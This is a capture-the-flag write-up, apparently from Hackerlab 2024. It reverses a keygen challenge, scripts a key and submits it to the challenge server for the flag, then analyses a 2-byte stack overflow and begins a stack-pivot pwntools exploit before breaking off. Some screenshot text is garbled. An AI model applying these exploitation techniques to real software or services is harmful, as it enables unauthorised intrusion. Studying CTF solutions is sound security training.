62     *(undefined8 *) (puVar5 + -0x1880) = 0x101f84;
63     ptr = realloc(ptr, (local_a840 + 1) * 8);
64     if (ptr == (void *)0x0) {
65         /* WARNING: Subroutine does not return */
66         *(undefined8 *) (puVar5 + -0x1880) = 0x101f9f;
67         exit(1);
68     }
69     *(undefined8 *) (puVar5 + -0x1880) = 0x101fae;
70     sVar3 = strlen(local_a838);
71     *(undefined8 *) (puVar5 + -0x1880) = 0x101fd4;
72     pvVar4 = malloc(sVar3 + 1);
73     *(void **) (local_a840 * 8 + (long)ptr) = pvVar4;
74     if (*(long *) ((long)ptr + local_a840 * 8) == 0) {
75         /* WARNING: Subroutine does not return */
76         *(undefined8 *) (puVar5 + -0x1880) = 0x102002;
77         exit(1);
78     }
79     key_chunk = *(char **) ((long)ptr + local_a840 * 8);
80     *(undefined8 *) (puVar5 + -0x1880) = 0x102030;
81     strcpy(key_chunk, local_a838);
82     local_a840 = local_a840 + 1;
83     *(undefined8 *) (puVar5 + -0x1880) = 0x102049;
84     local_a838 = strtok((char *)0x0, (char *)&local_2c);
85 }
86 array[0] = 1;
87 array[1] = 894;
88 array[2] = 1;
89 array[3] = 298;
90 array[4] = 447;
91 array[5] = 799236;
92 array[6] = 1;
93 array[7] = 223;
94 array[8] = 0xffffffff4e;
95 array[9] = 0xffffffff;
96 array[10] = 0;
97 array[11] = 0x6fc;
98 *(undefined8 *) (puVar5 + -0x1880) = 0x102142;
99 memset(array + 0xc, 0, 0xa7a0);
100 compute[0] = 0;
101 compute[1] = 0;
102 compute[2] = 0;
103 compute[3] = 0;
104 compute[4] = 0;
105 compute[5] = 0;
106 for (idx = 0; idx < 6; idx = idx + 1) {
107     sub_idx = 0;
108     for (crc_idx = array[(long)idx * 2]; (int)crc_idx <= (int)array[(long)idx * 2 + 1];
109         crc_idx = crc_idx + 1) {
110         *(undefined8 *) (puVar5 + -0x1880) = 0x1021a9;
111         checksum = gen_checksum(crc_idx ^ 0x37e);
112         *(undefined8 *) (puVar5 + -0x1880) = 0x1021c3;
113         sprintf(generated, "%04X", (ulong)checksum);
114         key_chunk = *(char **) ((long)ptr + (long)idx * 8);
115         *(undefined8 *) (puVar5 + -0x1880) = 0x1021ef;
```

00101ea0

compute

LEA R11,[RSP + Flameshot

```

C:\Decompile: compute - (keygen1)
117     if (fp == 0) {
118         array[(long)idx * 0x6fc + (long)sub_idx + 0xc] = crc_idx;
119         sub_idx = sub_idx + 1;
120     }
121 }
122 compute[idx] = sub_idx;
123 }
124 *(undefined8 *)(puVar5 + -0x1880) = 0x102288;
125 free(ptr);
126 o = 0;
127 do {
128     if (compute[0] <= o) {
129         *(undefined8 *)(puVar5 + -0x1880) = 0x102498;
130         printf("Incorrect Key Dear %s\n",username);
131         *(undefined8 *)(puVar5 + -0x1880) = 0x1024a7;
132         fflush(stdout);
133         ret = 0;
134 loop:
135         if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
136             return ret;
137         }
138         /* WARNING: Subroutine does not return */
139         *(undefined8 *)(puVar5 + -0x1880) = 0x1024c0;
140         __stack_chk_fail();
141     }
142     for (i = 0; i < compute[1]; i = i + 1) {
143         for (j = 0; j < compute[2]; j = j + 1) {
144             for (k = 0; k < compute[3]; k = k + 1) {
145                 for (l = 0; l < compute[4]; l = l + 1) {
146                     for (m = 0; m < compute[5]; m = m + 1) {
147                         if (((o * l + j == (m + i * i * i * i * i) - k) && (o + j < 1788)) &&
148                             (m - i * j < 895)) {
149                             *(undefined8 *)(puVar5 + -0x1880) = 0x102383;
150                             fp = strcmp(username,"BJIZ-HACKERLAB");
151                             if (fp == 0) {
152                                 *(undefined8 *)(puVar5 + -0x1880) = 0x1023a2;
153                                 printf("Correct key, Here the flag: %s\n",flag);
154                                 *(undefined8 *)(puVar5 + -0x1880) = 0x1023b1;
155                                 fflush(stdout);
156                             }
157                             else {
158                                 *(undefined8 *)(puVar5 + -0x1880) = 0x1023ce;
159                                 printf("Dear %s, WELCOME BACK\n",username);
160                                 *(undefined8 *)(puVar5 + -0x1880) = 0x1023dd;
161                                 fflush(stdout);
162                             }
163                             ret = 1;
164                             goto loop;
165                         }
166                     }
167                 }
168             }
169         }
170     }
171     o = o + 1;
172 } while( true );
173 }
174
00101ea0  compute  LEA R11,[RSP + -0xa000]

```

```
undefined8 compute(char *key,char *param_2)
```

```
{
    undefined *puVar1;
    char cVar2;
    uint checksum;
    size_t sVar3;
    void *pvVar4;
```

```

int fp;
undefined8 ret;
undefined *puVar5;
long in_FS_OFFSET;
int idx;
int sub_idx;
uint crc-idx;
int o;
int i;
int j;
int k;
int l;
int m;
void *ptr;
long local_a840;
char *local_a838;
int compute [6];
uint array [10];
uint matched [498];
undefined local_a010 [40932];
undefined2 delim;
char generated [10];
long canary;
char *key_chunk;

canary = *(long *)(in_FS_OFFSET + 0x28);
flag = "aa"
cVar2 = regx_check(key);
if (cVar2 != '\x01') {
    exit(1);
}
ptr = malloc(8);
delim = 0x2d;
if (ptr == (void *)0x0) {
    exit(1);
}
local_a840 = 0;
local_a838 = strtok(key, (char *)&delim);
while (local_a838 != (char *)0x0) {
    ptr = realloc(ptr, (local_a840 + 1) * 8);
    if (ptr == (void *)0x0) {
        exit(1);
    }
    sVar3 = strlen(local_a838);
    pvVar4 = malloc(sVar3 + 1);
    *(void **)(local_a840 * 8 + (long)ptr) = pvVar4;

```

```

    if (*(long *)((long)ptr + local_a840 * 8) == 0) {
        /* WARNING: Subroutine does not return */
        exit(1);
    }
    key_chunk = *(char **)((long)ptr + local_a840 * 8);
    strcpy(key_chunk, local_a838);
    local_a840 = local_a840 + 1;
    local_a838 = strtok((char *)0x0, (char *)&delim);
}
array[0] = 1;
array[1] = 0x37e;
array[2] = 1;
array[3] = 0x12a;
array[4] = 0x1bf;
array[5] = 0xc3204;
array[6] = 1;
array[7] = 0xdf;
array[8] = 0xffffffff4e;
array[9] = 0xfffffffff;
memset(matched, 0, 0xa7a0);
compute[0] = 0;
compute[1] = 0;
compute[2] = 0;
compute[3] = 0;
compute[4] = 0;
compute[5] = 0;
for (idx = 0; idx < 6; idx = idx + 1) {
    sub_idx = 0;
    for (crc_idx = array[(long)idx * 2]; (int)crc_idx <=
(int)array[(long)idx * 2 + 1];
        crc_idx = crc_idx + 1) {
        checksum = gen_checksum(crc_idx ^ 0x37e);
        sprintf(generated, "%04X", (ulong)checksum);
        key_chunk = *(char **)((long)ptr + (long)idx * 8);
        fp = strcmp(generated, key_chunk);
        if (fp == 0) {
            matched[(long)idx * 0x6fc + (long)sub_idx] = crc_idx;
            sub_idx = sub_idx + 1;
        }
    }
    compute[idx] = sub_idx;
}
free(ptr);
o = 0;
do {
    if (compute[0] <= o) {

```

```

printf("Incorrect Key Dear %s\n",param_2);
fflush(1);
ret = 0;
loop:
    if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
        return ret;
    }
    __stack_chk_fail();
}
for (i = 0; i < compute[1]; i = i + 1) {
    for (j = 0; j < compute[2]; j = j + 1) {
        for (k = 0; k < compute[3]; k = k + 1) {
            for (l = 0; l < compute[4]; l = l + 1) {
                for (m = 0; m < compute[5]; m = m + 1) {
                    if (((o * l + j == (m + i * i * i * i * i) - k) && (o + j <
0x6fc)) &&
                        (m - i * j < 0x37f)) {
                        fp = strcmp(param_2,"BJIZ-HACKERLAB");
                        if (fp == 0) {
                            printf("Correct key, Here the flag: %s\n",flag);
                            fflush(1);
                        }
                        else {
                            printf("Dear %s, WELCOME BACK\n",param_2);
                            fflush(1);
                        }
                        ret = 1;
                        goto loop;
                    }
                }
            }
        }
    }
    o = o + 1;
} while( true );
}

```

The nested loop looks more readable

Now this is what it does:

- It makes sure `compute[0]` is greater than variable `o` which was initialized to `0`
- Does 5 nested loop where each loop `(n)` is based off the range of `compute[n]`

- Checks for a certain constraint and if it's meet we get the flag when our username is `BJIZ-HACKERLAB` and if that's not the case it just shows `Welcome back` else we get the error message `Incorrect`

Remember that `compute` is an array of 6 integers

Each value stored there is based on this portion of the code

```
for (idx = 0; idx < 6; idx = idx + 1) {
    sub_idx = 0;
    for (crc_idx = array[idx * 2]; crc_idx <= array[idx * 2 + 1]; crc_idx =
crc_idx + 1) {
        checksum = gen_checksum(crc_idx ^ 0x37e);
        sprintf(generated, "%04X", (ulong)checksum);
        key_chunk = ptr[idx * 8];
        fp = strcmp(generated, key_chunk);
        if (fp == 0) {
            matched[idx * 0x6fc + sub_idx] = crc_idx;
            sub_idx = sub_idx + 1;
        }
    }
    compute[idx] = sub_idx;
}
free(ptr);
```

Please excuse my variable naming; I find it challenging to come up with intuitive names 😊

Alright let's continue..... In each iteration of the loop, a checksum value is generated for every 4-byte chunk of the input data. If the generated checksum matches the input value, the `sub_idx` variable is incremented by 1.

Finally, the value of `sub_idx` is stored in the `compute[idx]` array. Since each value in `compute[]` is used to check a constraint, setting `sub_idx` to a desired value allows us to meet that constraint

Now how can we control `sub_idx`?

To control the value of `sub_idx`, which represents the number of occurrences of the input value during the loop, we need our input to be that of a known occurrence

Now how do we get that?

I wrote a script which calculates all checksum value and it's occurrence in loop

```

import hashlib
import base64
import zlib

def gen(a):
    v3 = [0]*4
    for i in range(4):
        v3[i] = (a >> (8 * i)) & 0xff

    cstr = ""
    for j in v3:
        cstr += chr(j)

    return zlib.crc32(cstr.encode()) & 0xffff

def xor(a, b):
    r = ""
    for i, j in zip(a, b):
        r += chr(i ^ j)

    return r

def gen_hash(a):
    value = hashlib.sha256(a).hexdigest()
    r = ""
    i = 0
    for j in range(len(value)):
        if (j & 1 != 0):
            r += value[j]
            if (i == 29):
                break

    return r.encode()

username = b"BJIZ-HACKERLAB"
odd = gen_hash(username)
inp = b"AAAA-AAAA-AAAA-AAAA-AAAA-AAAA"

r = xor(inp, odd)

with open("data", "wb") as f:
    f.write(username)
    f.write(b'\n')
    f.write(base64.b64encode(r.encode()))
    f.close()

```

In this case this is the first loop `i = 0` and we are checking for a value where it's occurrence is 1

I wrote a script which can easily brute force it

If you run it you would get so many values which meets this constraint

Here's what the constraint is

```
- 0 * compute[4] + compute[2] == (compute[5] + (5 * compute[1]) -  
compute[3])  
- 0 + compute[2] < 1788  
- compute[5] - compute[1] * compute[2] < 895
```

In any case if you look at it well you will see the most important one is the first one:

```
0 * compute[4] + compute[2] == (compute[5] + (5 * compute[1]) - compute[3])
```

I want to work on it while variable `o` is `0` because if the condition isn't meet it increments `o` by `1` till `compute[0] <= o` before it exits

For that it's basically going to be

```
compute[2] == (compute[5] + (5 * compute[1]) - compute[3])
```

So we just need to set `compute[2]` to a value that would equal the `RHS` of the above equation

Now the reason I said the first constraint is the most important when `o` is `0` is because `compute[2]` is surely going to be less than `1788` and `compute[5] - compute[1] * compute[2]` is surely going to be less than `895`

Now the reason I'm sure is because during debugging I saw that each occurrence isn't of a large value

I might not be right because I'm still a noob at reversing

Moving on I decided to get the list of values we can set as `compute[0]`

```
import hashlib  
import base64  
import zlib  
  
def gen(a):  
    v3 = [0]*4  
    for i in range(4):  
        v3[i] = (a >> (8 * i)) & 0xff  
  
    cstr = ""
```

```

    for j in v3:
        cstr += chr(j)

    return zlib.crc32(cstr.encode()) & 0xffff

def xor(a, b):
    r = ""
    for i, j in zip(a, b):
        r += chr(i ^ j)

    return r

def gen_hash(a):
    value = hashlib.sha256(a).hexdigest()
    r = ""
    i = 0
    for j in range(len(value)):
        if (j & 1 != 0):
            r += value[j]
            if (i == 29):
                break

    return r.encode()

username = b"BJIZ-HACKERLAB"
odd = gen_hash(username)
inp = b"AAAA-AAAA-AAAA-AAAA-AAAA-AAAA"

r = xor(inp, odd)

with open("data", "wb") as f:
    f.write(username)
    f.write(b'\n')
    f.write(base64.b64encode(r.encode()))
    f.close()

array = [1, 894, 1, 298, 447, 799236, 1, 223, -178, -1, 0, 1788]

i = 0
start = array[2 * i]
end = array[2 * i + 1]
# print([start, end])
chunk = {}

for j in range(start, end + 1):

```

```
value = hex(gen(j ^ 0x37E))[2:].upper())
```

```
if value in chunk:
    chunk[value] += 1
else:
    chunk[value] = 1
```

```
print(chunk)
print("\n")
```

```
~/Desktop/CTF/Hackerlab24/Keycheck python3 get.py
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```
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44":1,"90AA":1,"F7CE":1,"8B3":1,"6FD6":1,"C038":1,"A75D":1,"9FE4":1,"F881":1,"576F":1,"30BA":1,"205C":1,"4739":1,"ED87":1,"8FB2":1,"B70B":1,"D06E":1,"7F80":1,
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,"FF60":1,"C7D9":1,"ABBC":1,"F52":1,"6837":1,"7861":1,"1F04":1,"B0EA":1,"D7BF":1,"EF36":1,"8853":1,"27B0":1,"4A0B":1,"711":1,"6074":1,"CF9A":1,"ABFF":1,"994
6":1,"F723":1,"58CD":1,"3FA8":1,"2FFE":1,"4A9B":1,"E775":1,"8010":1,"B8A9":1,"DFCC":1,"7022":1,"1747":1,"FFB0":1,"98D5":1,"3738":1,"505E":1,"68E7":1,"F82":1,
,"1A06C":1,"C709":1,"D75F":1,"B03A":1,"1FD4":1,"78B1":1,"4A08":1,"276D":1,"8883":1,"1EFE6":1,"A82F":1,"CF4A":1,"60A4":1,"7C1":1,"3F78":1,"581D":1,"F7F3":1,"
,"9996":1,"88C0":1,"E7A5":1,"484B":1,"2FE2":1,"1797":1,"70F2":1,"DF1C":1}
```

We can see that all values there are unique as there are no two or more occurrence of it's value

So that means `compute[0]` is going to be `1`

I just choose a random value from there now our key is going to be:

3D88-AAAA-AAAA-AAAA-AAAA-AAAA

Moving on where `i = 1`

```
48 array = [1, 894, 1, 298, 447, 799236, 1, 223, -178, -1, 0, 1788]
49
50 i = 1
51 start = array[2 * i]
52 end = array[2 * i + 1]
53 # print([start, end])
54 chunk = {}
55
56 for j in range(start, end + 1):
57     value = hex(gen(j ^ 0x37E))[2:].upper()
58
59     if value in chunk:
60         chunk[value] += 1
61     else:
62         chunk[value] = 1
63
64 print(chunk)
65 print("\n")
66
```



Unique values again now key is:

3D88-9387-AAAA-AAAA-AAAA-AAAA

```
50 i = 2
51 start = array[2 * i]
52 end = array[2 * i + 1]
53 # print([start, end])
54 chunk = {}
55
56 for j in range(start, end + 1):
57     value = hex(gen(j ^ 0x37E))[2:].upper()
58
59     if value in chunk:
60         chunk[value] += 1
61     else:
62         chunk[value] = 1
63
64 print(chunk)
65 print("\n")
66
67
```

[illegible]


It generated lot of values we can try to get a specific number we want

```
48
49 array = [1, 894, 1, 298, 447, 799236, 1, 223, -178, -1, 0, 1788]
50
51
52 i = 2
53 start = array[2 * i]
54 end = array[2 * i + 1]
55 # print([start, end])
56 chunk = {}
57
58 for j in range(start, end + 1):
59     value = hex(gen(j ^ 0x37E))[2:].upper()
60
61     if value in chunk:
62         chunk[value] += 1
63     else:
64         chunk[value] = 1
65
66
67 for i, j in chunk.items():
68     if j == 5: # get this?
69         print(i)
70         break
71
72 print("\n")
73
```

```
mark@haxor: ~/Desktop/CTF/Hackerlab24/Keycheck
File Edit View Search Terminal Help
~/Desktop/CTF/Hackerlab24/Keycheck > python3 logic.py
BC59

~/Desktop/CTF/Hackerlab24/Keycheck >
```

But it turns out that my code is somewhat buggy, because if we set a breakpoint at where it stores `sub_idx` we get this



Ohh god I spent so much time trying to debug my code but eventually gave up

Moving on we know the following:

- compute[0] = 1
- compute[1] = 1
- compute[2] = 11

Because compute[2] is 11 I needed to find a value that would make this comparison equal

```
compute[2] == (compute[5] + (5 * compute[1]) - compute[3])
```

So far we can change that to:

```
11 == (x + 5) - y
```

I mean that's if what I'm doing is right 🤔

But when I checked for possible values of compute[5] I saw that each occurrence is just 1 and the same apply to compute[3]

I really got confused and started thinking maybe there's something wrong with my decompiled code

I didn't want to bother reading any assembly because I was exhausted and then I went into dynamic reversing then figured out that for some reason setting `compute[3]`, `compute[4]`, `compute[5]` to 1 works!

You can generate the input using the approach i used previously

Here's the input:

```
BJIZ-HACKERLAB
3D88-9387-BC59-29FE-9609-6347
VSENW04PBwkHGCdwB1tMBABxdRQKAWEAGlBVDFI=
```

And we need to send the input to the remote server


```
from pwn import *

io = remote("135.125.107.236", "2300")

io.recvuntil("username :")
io.sendline("BJIZ-HACKERLAB")

io.sendline("VSENW04PBwkHGCdwB1tMBABxdRQKAWEAGlBVDFI=")

io.interactive()
```




```
mark@haxor: ~/Desktop/CTF/Hackerlab24/Keycheck
File Edit View Search Terminal Help
mark@haxor:~/Desktop/CTF/Hackerlab24/Keycheck$ python3 con.py
[*] Opening connection to 135.125.107.236 on port 2300: Done
/home/mark/Desktop/CTF/Hackerlab24/Keycheck/con.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil("username :")
/home/mark/Desktop/CTF/Hackerlab24/Keycheck/con.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline("BJIZ-HACKERLAB")
/home/mark/Desktop/CTF/Hackerlab24/Keycheck/con.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline("VSENW04PBwkHGCdwB1tMBABxdRQKAWEAGlBVDFI=")
[*] Switching to interactive mode
Dear BJIZ-HACKERLAB, here's your auth SEED: 587.
You have 5 seconds to enter your key.
Please enter your key : Correct key, Here the flag: HLB2024{C@Ngr4tz_y0u_Pa5S_7hE_kEyCh3Ck}
[*] Got EOF while reading in interactive
[*] Closed connection to 135.125.107.236 port 2300
mark@haxor:~/Desktop/CTF/Hackerlab24/Keycheck$
```

Flag: HLB2024{C@Ngr4tz_y0u_Pa5S_7hE_kEyCh3Ck}

Very fun challenge and I learnt a lot during the process

But maybe the program is buggy or I'm just the one messing up? In any case that's all for it.

FPO



We are given a remote instance to connect to and also a binary

Downloading the binary and checking the file type and protections enabled on it shows this

```
Δ ~/Desktop/CTF/Hackertab24/FPO > file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=595b0f02d5505069e9650f83f76d261910cdea45, for GNU/Linux 3.2.0, not stripped

Δ ~/Desktop/CTF/Hackertab24/FPO > checksec chall
[ ] ~/home/mark/Desktop/CTF/Hackertab24/FPO/chall
Arch:      amd64-64-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       PIE enabled
Stack:     Executable
RWX:       Has RWX segments

Δ ~/Desktop/CTF/Hackertab24/FPO >
```

We are working with a 64 bits executable and the protections enabled is just PIE

- **Position Independent Executable** : randomizes the memory address of the executable on each runtime.

The other protections are disabled and the one which looks interesting is the fact that the STACK is executable meaning that NX is disabled:

- **No eXecute (NX)** : also known as **Data Execution Prevention or DEP** marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code.

In our case it's disabled which means that the stack region permission is going to be readable, writable & executable

Moving on RELRO is also disabled:

- **Relocation Read-Only:** it's a security feature used in binaries to mitigate the risks associated with GOT (Global Offset Table) overwrites.

The fact it's disabled means the Global Offset Table is writable

Pretty interesting combinations!

Now let's move to the main stuff

I ran the binary to get an overview of what it does




```
mark@haxor: ~/Desktop/CTF/Hackerlab24/FP0
File Edit View Search Terminal Help
~/Desktop/CTF/Hackerlab24/FP0 > ./chall
Nickname @>0x7fff011f6ec0
Take your nickname>wizard challs too good frfr!
Hello wizard challs too good frfr!
~/Desktop/CTF/Hackerlab24/FP0 > |
```

We get a stack leak, it asks for our input and then prints it out

In order to find the vulnerability we need to reverse engineer the binary

Throwing it into IDA and viewing the `main()` function I got this

A screenshot of the IDA Pro interface. The 'Pseudocode-A' window is active, showing the decompiled code for the `main` function. The code is as follows:


```
1 int __fastcall main(int argc, const char **argv, const char **envp)
2 {
3     init(argc, argv, envp);
4     vuln();
5     return 0;
6 }
```

The status bar at the bottom indicates the current address is `00001231:main:1 (1231)`.

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    init(argc, argv, envp);
    vuln();
    return 0;
}
```

It calls the `init()` function then proceeds to calling the `vuln()` function

Here's the decompilation of the `init()` function:

A screenshot of the IDA Pro interface. The 'Pseudocode-A' window is active, showing the decompiled code for the `init` function. The code is as follows:

```
1 void init()
2 {
3     alarm(60u);
4     setbuf(stdin, 0LL);
5     setbuf(_bss_start, 0LL);
6     setbuf(stderr, 0LL);
7 }
```

The status bar at the bottom indicates the current address is `00001172:init:7 (1172)`.

```


void init()
{
    alarm(60u);
    setbuf(stdin, 0LL);
    setbuf(_bss_start, 0LL);
    setbuf(stderr, 0LL);
}

```

We can see this just does some standard buffering setup on `stdin`, `stderr` & `_bss_start` and then its timeout is set to 60 seconds using the `alarm` function

Nothing much here

Let's move on to the `vuln()` function:



The screenshot shows the IDA Pro interface with the `vuln()` function selected. The Pseudocode-A pane displays the following code:

```

__int64 vuln()
{
    char buf[256]; // [rsp+0h] [rbp-100h] BYREF
    printf("Nickname @>%p\n", buf);
    printf("Take your nickname>");
    read(0, buf, 258uLL);
    printf("Hello %s", buf);
    return 0LL;
}

```

```

__int64 vuln()
{
    char buf[256]; // [rsp+0h] [rbp-100h] BYREF

    printf("Nickname @>%p\n", buf);
    printf("Take your nickname>");
    read(0, buf, 258uLL);
    printf("Hello %s", buf);
    return 0LL;
}

```

Here's what this function does:

- It initializes a char buffer array which can hold up to 256 bytes of data
- It prints out the buffer array address
- It reads in at most 258 bytes into the buffer array
- Then it prints out the content filled into the buffer array

The code is pretty straight forward hence the vulnerability is obvious

BUG:

- We are reading in at most 258 bytes of data into a buffer that can only hold up 256 bytes which leads to a buffer overflow

Ok good we've seen that we have a buffer overflow but it's only just a 2 byte overflow

Now the stack frame of that function is going to look like this:

```
buf[256] -> saved_rbp -> return_address
```

This means we only have a 2 byte write on the saved rbp address

What that means is basically that we can only overwrite the 2 least significant bit (LSB) address of the saved rbp

Now how the hell are we going to make use of such small overflow to get a shell?

Well there's something called `Stack Pivot`

Stack Pivoting is a technique we use when we lack space on the stack - for example, we have 2 bytes past RIP. In this scenario, we're not able to complete a full ROP chain.

During Stack Pivoting, we take control of the **RSP** register and "fake" the location of the stack.

Because PIE is enabled we can't really say we want ROP Gadgets to form a ROP chain since that requires a leak of the elf base address

But that isn't an issue for us because the stack is executable therefore if the RIP points to the stack and it contains some instruction let's say `pop rdi; ret` then that would be executed

Armed with this information how do we perform a Stack Pivot in this case?

One important thing to notice here is that every function ends with a `leave; ret` but usually `main()` doesn't end with a `leave; ret` though for some reason it's an exception here!

And that instruction is equivalent to

```
mov rsp, rbp
pop rbp
pop rip
```

That's a very good gadget that we can use to stack pivot because if we look at `leave` again, we notice that the value in `rbp` gets moved to `rsp`! so if we overwrite the `rbp` and overwrite `rip` with `leave; ret` again, the value in `rbp` gets moved to `rsp`, and what happens when we control the value in `rsp`? well when `pop rip` executes we basically would then have control flow over the program!

It would be more understandable when I debug to see how it works! and here's a [resource](#) on that

In this case we can't overwrite the `rip` since we have just very limited control (2 bytes overwrite)

Now the idea is that even though our control over the `rbp` is 2 bytes that's really sufficient because the first 6 bytes of the saved `rbp` in function `vuln()` is the same as our `buf` so we can just overwrite the last two bytes to point to the top of our buffer: `(stack_leak & 0xffff)`

Ok now when the `vuln` function `ret` and the `main` function is about to return here's what's going to happen

```
mov rsp, rbp
pop rbp
pop rip
```

The value in `rbp` is going to be popped into `rip` and since we control `rbp` from the previous function `vuln()`, we get basically control flow over this program

Now that's said let's do some debugging and testing

First we need to parse our buffer leak

You can generate a template using:

```
Δ ~/Desktop/CTF/Hackerlab24/FP0 > pwn template chall
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template chall
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'chall')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
''.format(**locals())

#=====
# EXPLOIT GOES HERE
#=====
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing
# PIE: PIE enabled
# Stack: Executable
# RWX: Has RWX segments

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'aaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
```

pwn template chall

Here's how mine looks like:

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('chall')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--
geometry=128x50+1100+0', '-e']

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
```

```

gdbscript = '''
init-pwndbg
b *vuln+121
continue
''' .format(**locals())

#=====
#                               EXPLOIT GOES HERE
#=====

def init():
    global io

    io = start()

def solve():
    io.recvuntil("Nickname @>")
    buf = int(io.recvline().strip(), 16)
    info("buf leak: %#x", buf)

    offset = 256

    io.interactive()

def main():

    init()
    solve()

if __name__ == '__main__':
    main()

```


Now when we run it we see that the `buf` leak is parsed well

```
mark@haxor: ~/Desktop/CTF/Hacklab24/FP0
File Edit View Search Terminal Help
A ~ ~/Desktop/CTF/Hacklab24/FP0 > python3 solve.py
[ ] '/home/mark/Desktop/CTF/Hacklab24/FP0/chall'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: cxxrt.stable
RWX: Has RWX segments
[+] Starting local process '/home/mark/Desktop/CTF/Hacklab24/FP0/chall': pid 23611
[ ] buf leak: 0x7ffecb772b60
[ ] Switching to interactive mode
Take your nickname>
```

Ok good now let's start the real stuff

Note that I set a breakpoint in `vuln+121`

```
mark@haxor: ~/Desktop/CTF/Hacklab24/FP0
File Edit View Search Terminal Help
A ~ ~/Desktop/CTF/Hacklab24/FP0 > gdb-gef chall
Reading symbols from chall...
(No debugging symbols found in chall)
dError while writing index for '/home/mark/Desktop/CTF/Hacklab24/FP0/chall': No debugging symbols
dEF for linux ready, type 'gef' to start, 'gef-config' to configure
89 commands loaded and 2 functions added for GDB 13.2 in 0.02ms using Python engine 3.11
gef> disasm vuln
Dump of assembler code for function vuln:
0x0000000000110b <+0>: push rbp
0x0000000000110c <+1>: mov rbp, rsp
0x0000000000110d <+4>: sub rsp, 0x100
0x00000000001110 <+11>: lea rax, [rbp-0x100]
0x00000000001115 <+18>: mov rsi, 0x
0x0000000000111b <+21>: lea rax, [rip+0xc37] # 0x2004
0x0000000000111d <+28>: mov rdi, rax
0x0000000000111e <+31>: mov eax, 0x0
0x0000000000111f <+36>: call 0x1040 <printf@plt>
0x00000000001121 <+41>: lea rax, [rip+0xc3e] # 0x2013
0x00000000001125 <+48>: mov rdi, rax
0x00000000001129 <+51>: mov eax, 0x0
0x0000000000112e <+56>: call 0x1040 <printf@plt>
0x00000000001133 <+61>: lea rax, [rbp-0x100]
0x0000000000113a <+68>: mov edx, 0x102
0x0000000000113f <+73>: mov rsi, rax
0x00000000001142 <+76>: mov edi, 0x0
0x00000000001147 <+81>: call 0x1040 <read@plt>
0x0000000000114c <+86>: lea rax, [rbp-0x100]
0x00000000001153 <+93>: mov rsi, rax
0x00000000001158 <+96>: lea rax, [rip+0xc3d] # 0x2027
0x0000000000115d <+103>: mov rdi, rax
0x00000000001160 <+106>: mov eax, 0x0
0x00000000001165 <+111>: call 0x1040 <printf@plt>
0x0000000000116a <+116>: mov eax, 0x0
0x0000000000116f <+121>: leave
0x00000000001170 <+122>: ret
End of assembler dump.
gef>
```

Now I added this to my exploit

```
38 def solve():
39     io.recvuntil("Nickname @>")
40     buf = int(io.recvline().strip(), 16)
41     info("buf leak: %#x", buf)
42
43     offset = 256
44
45     payload = b'A'* 256 + b'BB'
46
47     io.sendline(payload)
48
49     io.interactive()
50
```

```
def solve():
    io.recvuntil("Nickname @>")
    buf = int(io.recvline().strip(), 16)
    info("buf leak: %#x", buf)

    offset = 256

    payload = b'A'* 256 + b'BB'

    io.sendline(payload)

    io.interactive()
```

We can run this and let it attach to `gdb`

```
File Edit View Search Terminal Help
~/Desktop/CTF/Hackerlab24/FPO > python3 solve.py GDB
[ ] '/home/mark/Desktop/CTF/Hackerlab24/FPO/chall'
[ ] '/home/mark/Desktop/CTF/Hackerlab24/FPO/chall'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
[*] Starting local process '/usr/bin/gdbserver': pid 23865
[ ] running in new terminals: ['/usr/bin/gdb', '-q', '/home/mark/Desktop/CTF/Hackerlab24/FPO/chall', '-x', '/tmp/pwndbgprf/rw.gdb']
[ ] buf leak: 0x7ffc29a76d20
[ ] Switching to interactive mode
Take your nickname=Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
B\ax7\}\xfc█

GDB-Pan
File Edit View Search Terminal Help
